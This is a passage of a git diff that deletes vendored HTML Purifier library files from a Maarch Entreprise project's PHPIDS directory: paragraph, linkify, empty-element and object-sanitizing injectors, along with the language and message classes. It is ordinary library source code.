HTMLPurifier_Injector_AutoParagraph extends HTMLPurifier_Injector -{ - - public $name = 'AutoParagraph'; - public $needed = array('p'); - - private function _pStart() { - $par = new HTMLPurifier_Token_Start('p'); - $par->armor['MakeWellFormed_TagClosedError'] = true; - return $par; - } - - public function handleText(&$token) { - $text = $token->data; - // Does the current parent allow <p> tags? - if ($this->allowsElement('p')) { - if (empty($this->currentNesting) || strpos($text, "\n\n") !== false) { - // Note that we have differing behavior when dealing with text - // in the anonymous root node, or a node inside the document. - // If the text as a double-newline, the treatment is the same; - // if it doesn't, see the next if-block if you're in the document. - - $i = $nesting = null; - if (!$this->forwardUntilEndToken($i, $current, $nesting) && $token->is_whitespace) { - // State 1.1: ... ^ (whitespace, then document end) - // ---- - // This is a degenerate case - } else { - if (!$token->is_whitespace || $this->_isInline($current)) { - // State 1.2: PAR1 - // ---- - - // State 1.3: PAR1\n\nPAR2 - // ------------ - - // State 1.4: <div>PAR1\n\nPAR2 (see State 2) - // ------------ - $token = array($this->_pStart()); - $this->_splitText($text, $token); - } else { - // State 1.5: \n<hr /> - // -- - } - } - } else { - // State 2: <div>PAR1... (similar to 1.4) - // ---- - - // We're in an element that allows paragraph tags, but we're not - // sure if we're going to need them. - if ($this->_pLookAhead()) { - // State 2.1: <div>PAR1<b>PAR1\n\nPAR2 - // ---- - // Note: This will always be the first child, since any - // previous inline element would have triggered this very - // same routine, and found the double newline. One possible - // exception would be a comment. - $token = array($this->_pStart(), $token); - } else { - // State 2.2.1: <div>PAR1<div> - // ---- - - // State 2.2.2: <div>PAR1<b>PAR1</b></div> - // ---- - } - } - // Is the current parent a <p> tag? - } elseif ( - !empty($this->currentNesting) && - $this->currentNesting[count($this->currentNesting)-1]->name == 'p' - ) { - // State 3.1: ...<p>PAR1 - // ---- - - // State 3.2: ...<p>PAR1\n\nPAR2 - // ------------ - $token = array(); - $this->_splitText($text, $token); - // Abort! - } else { - // State 4.1: ...<b>PAR1 - // ---- - - // State 4.2: ...<b>PAR1\n\nPAR2 - // ------------ - } - } - - public function handleElement(&$token) { - // We don't have to check if we're already in a <p> tag for block - // tokens, because the tag would have been autoclosed by MakeWellFormed. - if ($this->allowsElement('p')) { - if (!empty($this->currentNesting)) { - if ($this->_isInline($token)) { - // State 1: <div>...<b> - // --- - - // Check if this token is adjacent to the parent token - // (seek backwards until token isn't whitespace) - $i = null; - $this->backward($i, $prev); - - if (!$prev instanceof HTMLPurifier_Token_Start) { - // Token wasn't adjacent - - if ( - $prev instanceof HTMLPurifier_Token_Text && - substr($prev->data, -2) === "\n\n" - ) { - // State 1.1.4: <div><p>PAR1</p>\n\n<b> - // --- - - // Quite frankly, this should be handled by splitText - $token = array($this->_pStart(), $token); - } else { - // State 1.1.1: <div><p>PAR1</p><b> - // --- - - // State 1.1.2: <div><br /><b> - // --- - - // State 1.1.3: <div>PAR<b> - // --- - } - - } else { - // State 1.2.1: <div><b> - // --- - - // Lookahead to see if <p> is needed. - if ($this->_pLookAhead()) { - // State 1.3.1: <div><b>PAR1\n\nPAR2 - // --- - $token = array($this->_pStart(), $token); - } else { - // State 1.3.2: <div><b>PAR1</b></div> - // --- - - // State 1.3.3: <div><b>PAR1</b><div></div>\n\n</div> - // --- - } - } - } else { - // State 2.3: ...<div> - // ----- - } - } else { - if ($this->_isInline($token)) { - // State 3.1: <b> - // --- - // This is where the {p} tag is inserted, not reflected in - // inputTokens yet, however. - $token = array($this->_pStart(), $token); - } else { - // State 3.2: <div> - // ----- - } - - $i = null; - if ($this->backward($i, $prev)) { - if ( - !$prev instanceof HTMLPurifier_Token_Text - ) { - // State 3.1.1: ...</p>{p}<b> - // --- - - // State 3.2.1: ...</p><div> - // ----- - - if (!is_array($token)) $token = array($token); - array_unshift($token, new HTMLPurifier_Token_Text("\n\n")); - } else { - // State 3.1.2: ...</p>\n\n{p}<b> - // --- - - // State 3.2.2: ...</p>\n\n<div> - // ----- - - // Note: PAR<ELEM> cannot occur because PAR would have been - // wrapped in <p> tags. - } - } - } - } else { - // State 2.2: <ul><li> - // ---- - - // State 2.4: <p><b> - // --- - } - } - - /** - * Splits up a text in paragraph tokens and appends them - * to the result stream that will replace the original - * @param $data String text data that will be processed - * into paragraphs - * @param $result Reference to array of tokens that the - * tags will be appended onto - * @param $config Instance of HTMLPurifier_Config - * @param $context Instance of HTMLPurifier_Context - */ - private function _splitText($data, &$result) { - $raw_paragraphs = explode("\n\n", $data); - $paragraphs = array(); // without empty paragraphs - $needs_start = false; - $needs_end = false; - - $c = count($raw_paragraphs); - if ($c == 1) { - // There were no double-newlines, abort quickly. In theory this - // should never happen. - $result[] = new HTMLPurifier_Token_Text($data); - return; - } - for ($i = 0; $i < $c; $i++) { - $par = $raw_paragraphs[$i]; - if (trim($par) !== '') { - $paragraphs[] = $par; - } else { - if ($i == 0) { - // Double newline at the front - if (empty($result)) { - // The empty result indicates that the AutoParagraph - // injector did not add any start paragraph tokens. - // This means that we have been in a paragraph for - // a while, and the newline means we should start a new one. - $result[] = new HTMLPurifier_Token_End('p'); - $result[] = new HTMLPurifier_Token_Text("\n\n"); - // However, the start token should only be added if - // there is more processing to be done (i.e. there are - // real paragraphs in here). If there are none, the - // next start paragraph tag will be handled by the - // next call to the injector - $needs_start = true; - } else { - // We just started a new paragraph! - // Reinstate a double-newline for presentation's sake, since - // it was in the source code. - array_unshift($result, new HTMLPurifier_Token_Text("\n\n")); - } - } elseif ($i + 1 == $c) { - // Double newline at the end - // There should be a trailing </p> when we're finally done. - $needs_end = true; - } - } - } - - // Check if this was just a giant blob of whitespace. Move this earlier, - // perhaps? - if (empty($paragraphs)) { - return; - } - - // Add the start tag indicated by \n\n at the beginning of $data - if ($needs_start) { - $result[] = $this->_pStart(); - } - - // Append the paragraphs onto the result - foreach ($paragraphs as $par) { - $result[] = new HTMLPurifier_Token_Text($par); - $result[] = new HTMLPurifier_Token_End('p'); - $result[] = new HTMLPurifier_Token_Text("\n\n"); - $result[] = $this->_pStart(); - } - - // Remove trailing start token; Injector will handle this later if - // it was indeed needed. This prevents from needing to do a lookahead, - // at the cost of a lookbehind later. - array_pop($result); - - // If there is no need for an end tag, remove all of it and let - // MakeWellFormed close it later. - if (!$needs_end) { - array_pop($result); // removes \n\n - array_pop($result); // removes </p> - } - - } - - /** - * Returns true if passed token is inline (and, ergo, allowed in - * paragraph tags) - */ - private function _isInline($token) { - return isset($this->htmlDefinition->info['p']->child->elements[$token->name]); - } - - /** - * Looks ahead in the token list and determines whether or not we need - * to insert a <p> tag. - */ - private function _pLookAhead() { - $this->current($i, $current); - if ($current instanceof HTMLPurifier_Token_Start) $nesting = 1; - else $nesting = 0; - $ok = false; - while ($this->forwardUntilEndToken($i, $current, $nesting)) { - $result = $this->_checkNeedsP($current); - if ($result !== null) { - $ok = $result; - break; - } - } - return $ok; - } - - /** - * Determines if a particular token requires an earlier inline token - * to get a paragraph. This should be used with _forwardUntilEndToken - */ - private function _checkNeedsP($current) { - if ($current instanceof HTMLPurifier_Token_Start){ - if (!$this->_isInline($current)) { - // <div>PAR1<div> - // ---- - // Terminate early, since we hit a block element - return false; - } - } elseif ($current instanceof HTMLPurifier_Token_Text) { - if (strpos($current->data, "\n\n") !== false) { - // <div>PAR1<b>PAR1\n\nPAR2 - // ---- - return true; - } else { - // <div>PAR1<b>PAR1... - // ---- - } - } - return null; - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/DisplayLinkURI.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/DisplayLinkURI.php deleted file mode 100755 index edd506674c33a8e1528d02b386c78888cb3ab15a..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/DisplayLinkURI.php +++ /dev/null @@ -1,26 +0,0 @@ -<?php - -/** - * Injector that displays the URL of an anchor instead of linking to it, in addition to showing the text of the link. - */ -class HTMLPurifier_Injector_DisplayLinkURI extends HTMLPurifier_Injector -{ - - public $name = 'DisplayLinkURI'; - public $needed = array('a'); - - public function handleElement(&$token) { - } - - public function handleEnd(&$token) { - if (isset($token->start->attr['href'])){ - $url = $token->start->attr['href']; - unset($token->start->attr['href']); - $token = array($token, new HTMLPurifier_Token_Text(" ($url)")); - } else { - // nothing to display - } - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/Linkify.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/Linkify.php deleted file mode 100755 index a9724f4de2354325660b0dba9e795b1637158ce5..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/Linkify.php +++ /dev/null @@ -1,46 +0,0 @@ -<?php - -/** - * Injector that converts http, https and ftp text URLs to actual links. - */ -class HTMLPurifier_Injector_Linkify extends HTMLPurifier_Injector -{ - - public $name = 'Linkify'; - public $needed = array('a' => array('href')); - - public function handleText(&$token) { - if (!$this->allowsElement('a')) return; - - if (strpos($token->data, '://') === false) { - // our really quick heuristic failed, abort - // this may not work so well if we want to match things like - // "google.com", but then again, most people don't - return; - } - - // there is/are URL(s). Let's split the string: - // Note: this regex is extremely permissive - $bits = preg_split('#((?:https?|ftp)://[^\s\'"<>()]+)#S', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE); - - $token = array(); - - // $i = index - // $c = count - // $l = is link - for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) { - if (!$l) { - if ($bits[$i] === '') continue; - $token[] = new HTMLPurifier_Token_Text($bits[$i]); - } else { - $token[] = new HTMLPurifier_Token_Start('a', array('href' => $bits[$i])); - $token[] = new HTMLPurifier_Token_Text($bits[$i]); - $token[] = new HTMLPurifier_Token_End('a'); - } - } - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/PurifierLinkify.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/PurifierLinkify.php deleted file mode 100755 index 89c02c254c6d8e57e11830c30e0ee65a9daafbf3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/PurifierLinkify.php +++ /dev/null @@ -1,45 +0,0 @@ -<?php - -/** - * Injector that converts configuration directive syntax %Namespace.Directive - * to links - */ -class HTMLPurifier_Injector_PurifierLinkify extends HTMLPurifier_Injector -{ - - public $name = 'PurifierLinkify'; - public $docURL; - public $needed = array('a' => array('href')); - - public function prepare($config, $context) { - $this->docURL = $config->get('AutoFormat.PurifierLinkify.DocURL'); - return parent::prepare($config, $context); - } - - public function handleText(&$token) { - if (!$this->allowsElement('a')) return; - if (strpos($token->data, '%') === false) return; - - $bits = preg_split('#%([a-z0-9]+\.[a-z0-9]+)#Si', $token->data, -1, PREG_SPLIT_DELIM_CAPTURE); - $token = array(); - - // $i = index - // $c = count - // $l = is link - for ($i = 0, $c = count($bits), $l = false; $i < $c; $i++, $l = !$l) { - if (!$l) { - if ($bits[$i] === '') continue; - $token[] = new HTMLPurifier_Token_Text($bits[$i]); - } else { - $token[] = new HTMLPurifier_Token_Start('a', - array('href' => str_replace('%s', $bits[$i], $this->docURL))); - $token[] = new HTMLPurifier_Token_Text('%' . $bits[$i]); - $token[] = new HTMLPurifier_Token_End('a'); - } - } - - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/RemoveEmpty.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/RemoveEmpty.php deleted file mode 100755 index f1d3f4fadff2542081f0cac629218a944639a5f3..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/RemoveEmpty.php +++ /dev/null @@ -1,51 +0,0 @@ -<?php - -class HTMLPurifier_Injector_RemoveEmpty extends HTMLPurifier_Injector -{ - - private $context, $config, $attrValidator, $removeNbsp, $removeNbspExceptions; - - public function prepare($config, $context) { - parent::prepare($config, $context); - $this->config = $config; - $this->context = $context; - $this->removeNbsp = $config->get('AutoFormat.RemoveEmpty.RemoveNbsp'); - $this->removeNbspExceptions = $config->get('AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions'); - $this->attrValidator = new HTMLPurifier_AttrValidator(); - } - - public function handleElement(&$token) { - if (!$token instanceof HTMLPurifier_Token_Start) return; - $next = false; - for ($i = $this->inputIndex + 1, $c = count($this->inputTokens); $i < $c; $i++) { - $next = $this->inputTokens[$i]; - if ($next instanceof HTMLPurifier_Token_Text) { - if ($next->is_whitespace) continue; - if ($this->removeNbsp && !isset($this->removeNbspExceptions[$token->name])) { - $plain = str_replace("\xC2\xA0", "", $next->data); - $isWsOrNbsp = $plain === '' || ctype_space($plain); - if ($isWsOrNbsp) continue; - } - } - break; - } - if (!$next || ($next instanceof HTMLPurifier_Token_End && $next->name == $token->name)) { - if ($token->name == 'colgroup') return; - $this->attrValidator->validateToken($token, $this->config, $this->context); - $token->armor['ValidateAttributes'] = true; - if (isset($token->attr['id']) || isset($token->attr['name'])) return; - $token = $i - $this->inputIndex + 1; - for ($b = $this->inputIndex - 1; $b > 0; $b--) { - $prev = $this->inputTokens[$b]; - if ($prev instanceof HTMLPurifier_Token_Text && $prev->is_whitespace) continue; - break; - } - // This is safe because we removed the token that triggered this. - $this->rewind($b - 1); - return; - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php deleted file mode 100755 index e2c6c3000897d68b80c42d4fc8bfb89b0711fcfb..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/RemoveSpansWithoutAttributes.php +++ /dev/null @@ -1,60 +0,0 @@ -<?php - -/** - * Injector that removes spans with no attributes - */ -class HTMLPurifier_Injector_RemoveSpansWithoutAttributes extends HTMLPurifier_Injector -{ - public $name = 'RemoveSpansWithoutAttributes'; - public $needed = array('span'); - - private $attrValidator; - - /** - * Used by AttrValidator - */ - private $config; - private $context; - - public function prepare($config, $context) { - $this->attrValidator = new HTMLPurifier_AttrValidator(); - $this->config = $config; - $this->context = $context; - return parent::prepare($config, $context); - } - - public function handleElement(&$token) { - if ($token->name !== 'span' || !$token instanceof HTMLPurifier_Token_Start) { - return; - } - - // We need to validate the attributes now since this doesn't normally - // happen until after MakeWellFormed. If all the attributes are removed - // the span needs to be removed too. - $this->attrValidator->validateToken($token, $this->config, $this->context); - $token->armor['ValidateAttributes'] = true; - - if (!empty($token->attr)) { - return; - } - - $nesting = 0; - $spanContentTokens = array(); - while ($this->forwardUntilEndToken($i, $current, $nesting)) {} - - if ($current instanceof HTMLPurifier_Token_End && $current->name === 'span') { - // Mark closing span tag for deletion - $current->markForDeletion = true; - // Delete open span tag - $token = false; - } - } - - public function handleEnd(&$token) { - if ($token->markForDeletion) { - $token = false; - } - } -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/SafeObject.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/SafeObject.php deleted file mode 100755 index 4d6c9773402cc084d9a3c042be1406a2d701b4b6..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Injector/SafeObject.php +++ /dev/null @@ -1,91 +0,0 @@ -<?php - -/** - * Adds important param elements to inside of object in order to make - * things safe. - */ -class HTMLPurifier_Injector_SafeObject extends HTMLPurifier_Injector -{ - public $name = 'SafeObject'; - public $needed = array('object', 'param'); - - protected $objectStack = array(); - protected $paramStack = array(); - - // Keep this synchronized with AttrTransform/SafeParam.php - protected $addParam = array( - 'allowScriptAccess' => 'never', - 'allowNetworking' => 'internal', - ); - protected $allowedParam = array( - 'wmode' => true, - 'movie' => true, - 'flashvars' => true, - 'src' => true, - 'allowFullScreen' => true, // if omitted, assume to be 'false' - ); - - public function prepare($config, $context) { - parent::prepare($config, $context); - } - - public function handleElement(&$token) { - if ($token->name == 'object') { - $this->objectStack[] = $token; - $this->paramStack[] = array(); - $new = array($token); - foreach ($this->addParam as $name => $value) { - $new[] = new HTMLPurifier_Token_Empty('param', array('name' => $name, 'value' => $value)); - } - $token = $new; - } elseif ($token->name == 'param') { - $nest = count($this->currentNesting) - 1; - if ($nest >= 0 && $this->currentNesting[$nest]->name === 'object') { - $i = count($this->objectStack) - 1; - if (!isset($token->attr['name'])) { - $token = false; - return; - } - $n = $token->attr['name']; - // We need this fix because YouTube doesn't supply a data - // attribute, which we need if a type is specified. This is - // *very* Flash specific. - if (!isset($this->objectStack[$i]->attr['data']) && - ($token->attr['name'] == 'movie' || $token->attr['name'] == 'src')) { - $this->objectStack[$i]->attr['data'] = $token->attr['value']; - } - // Check if the parameter is the correct value but has not - // already been added - if ( - !isset($this->paramStack[$i][$n]) && - isset($this->addParam[$n]) && - $token->attr['name'] === $this->addParam[$n] - ) { - // keep token, and add to param stack - $this->paramStack[$i][$n] = true; - } elseif (isset($this->allowedParam[$n])) { - // keep token, don't do anything to it - // (could possibly check for duplicates here) - } else { - $token = false; - } - } else { - // not directly inside an object, DENY! - $token = false; - } - } - } - - public function handleEnd(&$token) { - // This is the WRONG way of handling the object and param stacks; - // we should be inserting them directly on the relevant object tokens - // so that the global stack handling handles it. - if ($token->name == 'object') { - array_pop($this->objectStack); - array_pop($this->paramStack); - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language.php deleted file mode 100755 index 2ed944c25eb8b2292557d0b1e6912e4c7b960165..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language.php +++ /dev/null @@ -1,163 +0,0 @@ -<?php - -/** - * Represents a language and defines localizable string formatting and - * other functions, as well as the localized messages for HTML Purifier. - */ -class HTMLPurifier_Language -{ - - /** - * ISO 639 language code of language. Prefers shortest possible version - */ - public $code = 'en'; - - /** - * Fallback language code - */ - public $fallback = false; - - /** - * Array of localizable messages - */ - public $messages = array(); - - /** - * Array of localizable error codes - */ - public $errorNames = array(); - - /** - * True if no message file was found for this language, so English - * is being used instead. Check this if you'd like to notify the - * user that they've used a non-supported language. - */ - public $error = false; - - /** - * Has the language object been loaded yet? - * @todo Make it private, fix usage in HTMLPurifier_LanguageTest - */ - public $_loaded = false; - - /** - * Instances of HTMLPurifier_Config and HTMLPurifier_Context - */ - protected $config, $context; - - public function __construct($config, $context) { - $this->config = $config; - $this->context = $context; - } - - /** - * Loads language object with necessary info from factory cache - * @note This is a lazy loader - */ - public function load() { - if ($this->_loaded) return; - $factory = HTMLPurifier_LanguageFactory::instance(); - $factory->loadLanguage($this->code); - foreach ($factory->keys as $key) { - $this->{$key} = $factory->cache[$this->code][$key]; - } - $this->_loaded = true; - } - - /** - * Retrieves a localised message. - * @param $key string identifier of message - * @return string localised message - */ - public function getMessage($key) { - if (!$this->_loaded) $this->load(); - if (!isset($this->messages[$key])) return "[$key]"; - return $this->messages[$key]; - } - - /** - * Retrieves a localised error name. - * @param $int integer error number, corresponding to PHP's error - * reporting - * @return string localised message - */ - public function getErrorName($int) { - if (!$this->_loaded) $this->load(); - if (!isset($this->errorNames[$int])) return "[Error: $int]"; - return $this->errorNames[$int]; - } - - /** - * Converts an array list into a string readable representation - */ - public function listify($array) { - $sep = $this->getMessage('Item separator'); - $sep_last = $this->getMessage('Item separator last'); - $ret = ''; - for ($i = 0, $c = count($array); $i < $c; $i++) { - if ($i == 0) { - } elseif ($i + 1 < $c) { - $ret .= $sep; - } else { - $ret .= $sep_last; - } - $ret .= $array[$i]; - } - return $ret; - } - - /** - * Formats a localised message with passed parameters - * @param $key string identifier of message - * @param $args Parameters to substitute in - * @return string localised message - * @todo Implement conditionals? Right now, some messages make - * reference to line numbers, but those aren't always available - */ - public function formatMessage($key, $args = array()) { - if (!$this->_loaded) $this->load(); - if (!isset($this->messages[$key])) return "[$key]"; - $raw = $this->messages[$key]; - $subst = array(); - $generator = false; - foreach ($args as $i => $value) { - if (is_object($value)) { - if ($value instanceof HTMLPurifier_Token) { - // factor this out some time - if (!$generator) $generator = $this->context->get('Generator'); - if (isset($value->name)) $subst['$'.$i.'.Name'] = $value->name; - if (isset($value->data)) $subst['$'.$i.'.Data'] = $value->data; - $subst['$'.$i.'.Compact'] = - $subst['$'.$i.'.Serialized'] = $generator->generateFromToken($value); - // a more complex algorithm for compact representation - // could be introduced for all types of tokens. This - // may need to be factored out into a dedicated class - if (!empty($value->attr)) { - $stripped_token = clone $value; - $stripped_token->attr = array(); - $subst['$'.$i.'.Compact'] = $generator->generateFromToken($stripped_token); - } - $subst['$'.$i.'.Line'] = $value->line ? $value->line : 'unknown'; - } - continue; - } elseif (is_array($value)) { - $keys = array_keys($value); - if (array_keys($keys) === $keys) { - // list - $subst['$'.$i] = $this->listify($value); - } else { - // associative array - // no $i implementation yet, sorry - $subst['$'.$i.'.Keys'] = $this->listify($keys); - $subst['$'.$i.'.Values'] = $this->listify(array_values($value)); - } - continue; - } - $subst['$' . $i] = $value; - } - return strtr($raw, $subst); - } - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/classes/en-x-test.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/classes/en-x-test.php deleted file mode 100755 index d2f9baaaa9efa71bfc832707ce6ea72cc8ae085e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/classes/en-x-test.php +++ /dev/null @@ -1,12 +0,0 @@ -<?php - -// private class for unit testing - -class HTMLPurifier_Language_en_x_test extends HTMLPurifier_Language -{ - - - -} - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en-x-test.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en-x-test.php deleted file mode 100755 index e6a174a07535c05572c280744bce88b2b8efbda1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en-x-test.php +++ /dev/null @@ -1,11 +0,0 @@ -<?php - -// private language message file for unit testing purposes - -$fallback = 'en'; - -$messages = array( - 'HTMLPurifier' => 'HTML Purifier X' -); - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en-x-testmini.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en-x-testmini.php deleted file mode 100755 index ed8560fd586342a349c11528542bdcc3c3a015a1..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en-x-testmini.php +++ /dev/null @@ -1,12 +0,0 @@ -<?php - -// private language message file for unit testing purposes -// this language file has no class associated with it - -$fallback = 'en'; - -$messages = array( - 'HTMLPurifier' => 'HTML Purifier XNone' -); - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en.php deleted file mode 100755 index 0f9bd73d91f49a61e4a86729e7b6a775757e1e68..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Language/messages/en.php +++ /dev/null @@ -1,63 +0,0 @@ -<?php - -$fallback = false; - -$messages = array( - -'HTMLPurifier' => 'HTML Purifier', - -// for unit testing purposes -'LanguageFactoryTest: Pizza' => 'Pizza', -'LanguageTest: List' => '$1', -'LanguageTest: Hash' => '$1.Keys; $1.Values', - -'Item separator' => ', ', -'Item separator last' => ' and ', // non-Harvard style - -'ErrorCollector: No errors' => 'No errors detected. However, because error reporting is still incomplete, there may have been errors that the error collector was not notified of; please inspect the output HTML carefully.', -'ErrorCollector: At line' => ' at line $line', -'ErrorCollector: Incidental errors' => 'Incidental errors', - -'Lexer: Unclosed comment' => 'Unclosed comment', -'Lexer: Unescaped lt' => 'Unescaped less-than sign (<) should be <', -'Lexer: Missing gt' => 'Missing greater-than sign (>), previous less-than sign (<) should be escaped', -'Lexer: Missing attribute key' => 'Attribute declaration has no key', -'Lexer: Missing end quote' => 'Attribute declaration has no end quote', -'Lexer: Extracted body' => 'Removed document metadata tags', - -'Strategy_RemoveForeignElements: Tag transform' => '<$1> element transformed into $CurrentToken.Serialized', -'Strategy_RemoveForeignElements: Missing required attribute' => '$CurrentToken.Compact element missing required attribute $1', -'Strategy_RemoveForeignElements: Foreign element to text' => 'Unrecognized $CurrentToken.Serialized tag converted to text', -'Strategy_RemoveForeignElements: Foreign element removed' => 'Unrecognized $CurrentToken.Serialized tag removed', -'Strategy_RemoveForeignElements: Comment removed' => 'Comment containing "$CurrentToken.Data" removed', -'Strategy_RemoveForeignElements: Foreign meta element removed' => 'Unrecognized $CurrentToken.Serialized meta tag and all descendants removed', -'Strategy_RemoveForeignElements: Token removed to end' => 'Tags and text starting from $1 element where removed to end', -'Strategy_RemoveForeignElements: Trailing hyphen in comment removed' => 'Trailing hyphen(s) in comment removed', -'Strategy_RemoveForeignElements: Hyphens in comment collapsed' => 'Double hyphens in comments are not allowed, and were collapsed into single hyphens', - -'Strategy_MakeWellFormed: Unnecessary end tag removed' => 'Unnecessary $CurrentToken.Serialized tag removed', -'Strategy_MakeWellFormed: Unnecessary end tag to text' => 'Unnecessary $CurrentToken.Serialized tag converted to text', -'Strategy_MakeWellFormed: Tag auto closed' => '$1.Compact started on line $1.Line auto-closed by $CurrentToken.Compact', -'Strategy_MakeWellFormed: Tag carryover' => '$1.Compact started on line $1.Line auto-continued into $CurrentToken.Compact', -'Strategy_MakeWellFormed: Stray end tag removed' => 'Stray $CurrentToken.Serialized tag removed', -'Strategy_MakeWellFormed: Stray end tag to text' => 'Stray $CurrentToken.Serialized tag converted to text', -'Strategy_MakeWellFormed: Tag closed by element end' => '$1.Compact tag started on line $1.Line closed by end of $CurrentToken.Serialized', -'Strategy_MakeWellFormed: Tag closed by document end' => '$1.Compact tag started on line $1.Line closed by end of document', - -'Strategy_FixNesting: Node removed' => '$CurrentToken.Compact node removed', -'Strategy_FixNesting: Node excluded' => '$CurrentToken.Compact node removed due to descendant exclusion by ancestor element', -'Strategy_FixNesting: Node reorganized' => 'Contents of $CurrentToken.Compact node reorganized to enforce its content model', -'Strategy_FixNesting: Node contents removed' => 'Contents of $CurrentToken.Compact node removed', - -'AttrValidator: Attributes transformed' => 'Attributes on $CurrentToken.Compact transformed from $1.Keys to $2.Keys', -'AttrValidator: Attribute removed' => '$CurrentAttr.Name attribute on $CurrentToken.Compact removed', - -); - -$errorNames = array( - E_ERROR => 'Error', - E_WARNING => 'Warning', - E_NOTICE => 'Notice' -); - -// vim: et sw=4 sts=4 diff --git a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/LanguageFactory.php b/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/LanguageFactory.php deleted file mode 100755 index 90b885721f7058261a9235c2803d3f436c523253..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/lib/IDS/vendors/htmlpurifier/HTMLPurifier/LanguageFactory.php +++ /dev/null @@ -1,198 +0,0 @@ -<?php - -/** - * Class responsible for generating HTMLPurifier_Language objects, managing - * caching and fallbacks. - * @note Thanks to MediaWiki for the general logic, although this version - * has been entirely rewritten - * @todo Serialized cache for languages - */ -class HTMLPurifier_LanguageFactory -{ - - /** - * Cache of language code information used to load HTMLPurifier_Language objects - * Structure is: $factory->cache[$language_code][$key] = $value - * @value array map - */ - public $cache; - - /** - * Valid keys in the HTMLPurifier_Language object. Designates which - * variables to slurp out of a message file. - * @value array list - */ - public $keys = array('fallback', 'messages', 'errorNames'); - - /** - * Instance of HTMLPurifier_AttrDef_Lang to validate language codes - * @value object HTMLPurifier_AttrDef_Lang - */ - protected $validator; - - /** - * Cached copy of dirname(__FILE__), directory of current file without - * trailing slash - * @value string filename - */ - protected $dir; - - /** - * Keys whose contents are a hash map and can be merged - * @value array lookup - */ - protected $mergeable_keys_map = array('messages' => true, 'errorNames' => true); - - /** - * Keys whose contents are a list and can be merged - * @value array lookup - */ - protected $mergeable_keys_list = array(); - - /** - * Retrieve sole instance of the factory. - * @param $prototype Optional prototype to overload sole 